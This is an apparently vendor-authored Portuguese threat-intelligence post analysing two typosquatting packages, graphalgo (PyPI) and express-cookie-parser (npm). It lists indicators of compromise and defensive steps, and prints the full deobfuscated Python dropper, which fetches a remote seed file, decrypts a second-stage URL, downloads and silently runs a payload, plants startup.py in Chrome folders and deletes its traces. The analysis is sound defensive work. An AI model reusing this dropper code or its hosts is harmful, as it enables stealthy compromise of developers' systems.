A Xygeni observou recentemente um padrão preocupante no cenário de ataques à cadeia de suprimentos de software em 2025, surgindo em dois gerenciadores de pacotes populares: PyPI e npm. Como parte de nossos esforços contínuos de inteligência contra ameaças,Alerta Antecipado de Malware (MEW) da Xygeni A ferramenta identificou uma instância distinta, mas metodologicamente semelhante, de um pacote malicioso carregado anteriormente em outro registro. Este caso destaca como os agentes de ameaças estão evoluindo e reutilizando técnicas de ataque em ecossistemas, especialmente por meio de pacotes Python maliciosos e pacotes npm maliciosos, o que aumenta o risco de pacotes maliciosos se infiltrarem em cadeias de suprimentos de código aberto.
MEW de Xygeni: Identificando as semelhanças
A ferramenta MEW da Xygeni foi desenvolvida para detectar e sinalizar pacotes maliciosos, especialmente aqueles vinculados a Ataques à Cadeia de Suprimentos de Software em 2025, assim que forem publicados em registros de código aberto. Ela funciona analisando novos pacotes em busca de comportamento suspeito.
Neste caso, identificou dois pacotes Python maliciosos (graphalgo no PyPI) e pacotes npm maliciosos (express-cookie-parser no npm).
Pacotes maliciosos Python e npm em ataques à cadeia de suprimentos de software (2025)
Vamos explorar as características compartilhadas que acionaram nossos alertas:
Typosquatting
Ambos tentaram imitar pacotes populares existentes.
- graphalgo (PyPI)"Pacote Python para criar e manipular gráficos e redes.” Enviado por um usuário chamado “larrytech” em 13 de junho de 2025, este pacote se apresentou como uma alternativa PyPi ao projeto original não malicioso graphalgo, que mais tarde foi renomeado para graphdict.
- analisador de cookies expresso (npm): Este pacote imitou o conhecido pacote cookie-parser, até mesmo espelhando seu README.md. Essa personificação é uma tática clássica para alavancar a confiança existente.
Ofuscação como primeira linha de defesa
Ambos os pacotes ofuscaram seu código malicioso dentro dos arquivos originais. Para gráfico, o código ofuscado foi encontrado dentro /utils/load_libraries.py. No caso de analisador de cookies expresso, cookie-loader.min.js continha a carga ofuscada.
Essa camada inicial de ofuscação é normalmente usada para dificultar a inspeção casual e a análise estática. A ofuscação foi bastante simples: compressão ZLib repetida mais codificação Base64. Esse tipo de ofuscação indica claramente que o software está tentando ocultar seu comportamento. Juntamente com outras evidências, isso permitiu que o Xygeni MEW classificasse os pacotes como malware em potencial. Durante a fase de confirmação, nossos revisores prepararam prontamente um script de desofuscação que revelou a etapa do dropper, obviamente maliciosa.
Entrega de carga útil em vários estágios e um ponto de origem compartilhado
Ambos os pacotes funcionaram como “iniciaisconta-gotas”, preparando o cenário para a carga útil real. Eles compartilhavam uma “externa” comumsemente” URL do arquivo:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Este arquivo semente externo idêntico é um forte indicador de um agente de ameaça compartilhado. Curiosamente, o conteúdo deste arquivo semente parece consistir em simples variáveis de ambiente (por exemplo, JWT_SECRET, PORT), o que pode levar a uma inspeção enganosa de sua função real.
Resolução C2 dinâmica com um DGA
Uma tática sofisticada observada nesses pacotes maliciosos é o uso de um Algoritmo de Geração de Domínio (DGA) para resolver o servidor de Comando e Controle (C2) dinamicamente. Essa técnica, frequentemente vista em ataques avançados à cadeia de suprimentos de software em 2025, depende de um hash SHA256 derivado do conteúdo do arquivo semente, combinado com outros valores codificados. Ao fazer isso, a infraestrutura C2 muda com frequência, tornando a lista negra tradicional muito menos eficaz. Nesse caso, a variante npm usou um valor fixo de 496AAC7E como parte de sua lógica DGA.
Estabelecendo Persistência
Ambos os atacantes buscavam estabelecer uma presença duradoura nos sistemas afetados. Sua estratégia envolvia remover um arquivo, startup.py (para PyPi) ou startup.js (para npm), em diretórios comuns de dados de usuários do Google Chrome em vários sistemas operacionais (Windows, Linux, macOS).
Limpeza pós-execução
Para minimizar os rastros, ambos os scripts maliciosos realizaram operações de limpeza. Isso incluiu a exclusão dos arquivos dropper iniciais (load_libraries.py, cookie-loader.min.js) e modificar arquivos de pacotes legítimos (__init__.py, index.js) para remover as referências aos componentes agora excluídos.
Indicadores de comprometimento em pacotes maliciosos Python e npm
- Pacote PyPI: graphalgo (publicado por larrytech, 13 de junho de 2025)
- Pacote npm: express-cookie-parser (especificamente versão 1.4.12)
- Acesso à URL de Semente Compartilhada:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Nomes de arquivos persistentes:
startup.py(Pitão)startup.js(JavaScript) - Caminhos persistentes comuns (dependentes do sistema operacional): Dentro dos diretórios de dados do usuário do Google Chrome (por exemplo,
AppData\Local\Google\Chrome\UserData\Scripts\no Windows,~/.config/google-chrome/Scripts/no Linux, etc.).
Como se defender contra pacotes maliciosos em ataques à cadeia de suprimentos de software em 2025
Uma abordagem recomendada para desenvolvedores
Este incidente serve como um valioso estudo de caso no cenário de ameaças em evolução de ataques à cadeia de suprimentos de software em 2025. Ele destaca como pacotes Python e NPM maliciosos podem se infiltrar em ecossistemas confiáveis, muitas vezes escapando da detecção até que seja tarde demais. É por isso que a detecção precoce, ferramentas inteligentes e higiene proativa do sistema são agora partes essenciais de qualquer fluxo de trabalho seguro de DevOps. Os desenvolvedores são incentivados a considerar o seguinte:
Revisão de Dependência
Se seus projetos incluíram gráfico or analisador de cookies expresso, seria prudente prosseguir com sua remoção.
- Para PyPI:
pip uninstall graphalgo - Para npm:
npm uninstall express-cookie-parser
Higiene do Sistema
Considere realizar uma verificação completa do sistema. Também é aconselhável verificar manualmente os caminhos comuns do diretório de dados do usuário do Chrome em busca de qualquer erro inesperado. startup.py or startup.js arquivos.
Medidas de segurança proativas
- Avalie novas dependências: Estabeleça uma rotina para avaliar cuidadosamente novos pacotes antes da integração, concentrando-se naqueles de editoras desconhecidas.
- Integrar ferramentas de segurança: Ferramentas como o MEW da Xygeni, juntamente com outras Análises de Composição de Software (SCA) soluções podem fornecer uma camada crítica de defesa ao identificar comportamentos suspeitos e vulnerabilidades.
- Ultimo privilégio: Operar ambientes de desenvolvimento com o princípio do menor privilégio pode ajudar a limitar o impacto potencial de um comprometimento.
- Conscientização da rede: Monitorar o tráfego de rede de saída para conexões incomuns às vezes pode revelar comunicações C2 geradas por DGA.
Principais componentes de load_libraries.py (de graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Manipula a busca de arquivos de URLs especificadas.run_process(): Executa scripts Python externos de forma separada, suprimindo a saída para permanecer discreto.get_output_file_path(): Determina o local ideal do sistema para o arquivo startup.py persistente.remove_self():Orquestra a limpeza pós-execução dos arquivos maliciosos iniciais e modificações de pacotes.simple_shift_encrypt()/simple_shift_decrypt(): Funções criptográficas personalizadas para obscurecer canais de comunicação, cruciais para a implementação do DGA.load_libraries(): A função central que coordena todo o processo de várias etapas, desde o download inicial até a execução e limpeza final da carga útil.
resultado
Assim como com outros pacotes potencialmente maliciosos identificados pelo MEW, o firewall de dependências protegeu imediatamente os usuários que incluíssem esses pacotes maliciosos em suas dependências. Após a confirmação, seguimos os procedimentos de notificação para ambos os registros, que, após análise, removeram ambos os pacotes.





